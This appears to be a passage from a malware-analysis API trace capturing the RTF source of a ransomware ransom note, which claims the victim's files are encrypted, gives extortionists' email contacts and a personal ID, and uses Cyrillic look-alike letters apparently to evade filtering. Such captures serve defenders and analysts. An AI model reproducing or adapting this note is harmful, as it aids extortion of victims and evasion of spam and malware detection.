r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1dae208, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 